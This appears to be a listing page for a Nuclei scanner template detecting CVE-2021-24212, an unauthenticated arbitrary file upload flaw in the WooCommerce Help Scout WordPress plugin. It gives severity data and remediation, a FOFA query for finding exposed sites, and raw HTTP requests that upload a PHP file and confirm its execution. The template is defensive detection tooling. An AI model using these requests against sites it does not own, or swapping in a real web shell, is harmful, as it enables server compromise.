CVE-2021-24212: WooCommerce Help Scout - Arbitrary File Upload
- Template: CVE-2021-24212
- Name: WooCommerce Help Scout - Arbitrary File Upload
- Description: WooCommerce Help Scout plugin before version 2.9.1 contains an unrestricted file upload vulnerability. The vulnerability allows unauthenticated users to upload arbitrary files to the server which by default will end up in wp-content/uploads/hstmp/ directory, potentially leading to remote code execution.
- Impact: Unauthenticated attackers can upload malicious files, potentially leading to remote code execution or site compromise.
- Remediation: Update to version 2.9.1 or later.
- Severity: critical
- Authors: ritikchaddha
- Tags: cve, cve2021, wp, wordpress, wp-plugin, file-upload, rce, woocommerce-help-scout, vkev, vuln
- References: https://wpscan.com/vulnerability/cf9305e8-f5bc-45c3-82db-0ef00fd46129/, https://sploitus.com/exploit?id=WPEX-ID:CF9305E8-F5BC-45C3-82DB-0EF00FD46129, https://nvd.nist.gov/vuln/detail/CVE-2021-24212
- Cves: CVE-2021-24212
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-24212.yaml
- Digest: 490a00463044022040ea3998fbe21456a495987d85840599d0debaaf76e9c30fc95211cb3bb26f9402202030f85eb46554e98077f3be215b2ec3452a7e195d4821ac24fc35a280ee335c
- Created at: 2025-10-23T14:47:32Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 397
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24212.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-434
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.07908
- Epss percentile: 0.94857
- Not known: cpe
Metadata
- Fofa-query: body="/wp-content/plugins/woocommerce-help-scout"
- Max-request: 2
- Product: help_scout
- Vendor: woocommerce
- Checked, none or zero: verified
Products
| Product | Indexed | Url |
|---|---|---|
| woocommerce:help_scout | yes | /v1/products/woocommerce/help_scout |
Labels
- Name: WooCommerce Help Scout - Unrestricted File Upload
- Impact: Unauthenticated attackers can upload malicious files, potentially leading to remote code execution or site compromise.
- Remediation: Update to version 2.9.1 or later.
- Vulnerability type: unrestricted_file_upload
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-24212
- Not known: requirements
```yaml
id: CVE-2021-24212
info:
name: WooCommerce Help Scout - Arbitrary File Upload
author: ritikchaddha
severity: critical
description: |
WooCommerce Help Scout plugin before version 2.9.1 contains an unrestricted file upload vulnerability. The vulnerability allows unauthenticated users to upload arbitrary files to the server which by default will end up in wp-content/uploads/hstmp/ directory, potentially leading to remote code execution.
impact: |
Unauthenticated attackers can upload malicious files, potentially leading to remote code execution or site compromise.
remediation: |
Update to version 2.9.1 or later.
reference:
- https://wpscan.com/vulnerability/cf9305e8-f5bc-45c3-82db-0ef00fd46129/
- https://sploitus.com/exploit?id=WPEX-ID:CF9305E8-F5BC-45C3-82DB-0EF00FD46129
- https://nvd.nist.gov/vuln/detail/CVE-2021-24212
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24212
cwe-id: CWE-434
epss-score: 0.07908
epss-percentile: 0.94857
metadata:
verified: false
max-request: 2
vendor: woocommerce
product: help_scout
fofa-query: body="/wp-content/plugins/woocommerce-help-scout"
tags: cve,cve2021,wp,wordpress,wp-plugin,file-upload,rce,woocommerce-help-scout,vkev,vuln
variables:
num: "999999999"
filename: "{{rand_base(6)}}.php"
http:
- raw:
- |
POST /wp-admin/admin-ajax.php?action=wc_help_scout_upload_attachments HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=------------------------NCpI6tN3BZW3fz1Y9t2bkf
------------------------NCpI6tN3BZW3fz1Y9t2bkf
Content-Disposition: form-data; name="file"; filename="{{filename}}"
Content-Type: application/x-php
<?php echo md5('{{num}}'); ?>
------------------------NCpI6tN3BZW3fz1Y9t2bkf--
- |
GET /wp-content/uploads/hstmp/{{filename}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{md5(num)}}"
- type: status
status:
- 200
digest: 490a00463044022040ea3998fbe21456a495987d85840599d0debaaf76e9c30fc95211cb3bb26f9402202030f85eb46554e98077f3be215b2ec3452a7e195d4821ac24fc35a280ee335c:922c64590222798bb761d5b6d8e72950
```